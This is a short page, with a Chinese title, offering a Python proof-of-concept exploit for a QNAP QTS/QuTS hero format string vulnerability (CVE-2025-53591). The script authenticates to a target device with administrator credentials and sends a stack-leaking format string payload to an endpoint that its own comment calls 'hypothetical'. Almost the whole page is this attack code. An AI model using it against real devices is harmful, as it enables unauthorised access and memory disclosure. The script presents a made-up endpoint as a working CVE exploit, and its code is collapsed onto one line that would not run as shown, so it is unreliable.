QNAP QTS/QuTS hero格式化字符串漏洞(CVE-2025-53591)

#!/usr/bin/env python3 # CVE-2025-53591 PoC - Format String Vulnerability in QNAP # Note: Requires administrator credentials import requests import sys from urllib.parse import quote def exploit_qnap(target_ip, username, password): """Exploit format string vulnerability on QNAP devices""" # Login to get authentication token login_url = f"https://{target_ip}:8080/cgi-bin/authLogin.cgi" login_data = { "username": username, "password": password } try: session = requests.Session() resp = session.post(login_url, data=login_data, verify=False, timeout=10) # Format string payload - leaks stack memory # %s, %x, %p can leak information from stack format_payload = "%08x.%08x.%08x.%08x.%08x.%s" # Target endpoint (hypothetical vulnerable endpoint) vuln_url = f"https://{target_ip}:8080/cgi-bin/management/api/vulnerable_endpoint" headers = { "User-Agent": "QNAP-Agent", "Content-Type": "application/x-www-form-urlencoded" } # Send format string payload exploit_data = { "input": format_payload, "action": "log" } response = session.post(vuln_url, data=exploit_data, headers=headers, verify=False) print(f"[*] Payload sent: {format_payload}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_qnap(target, user, pwd)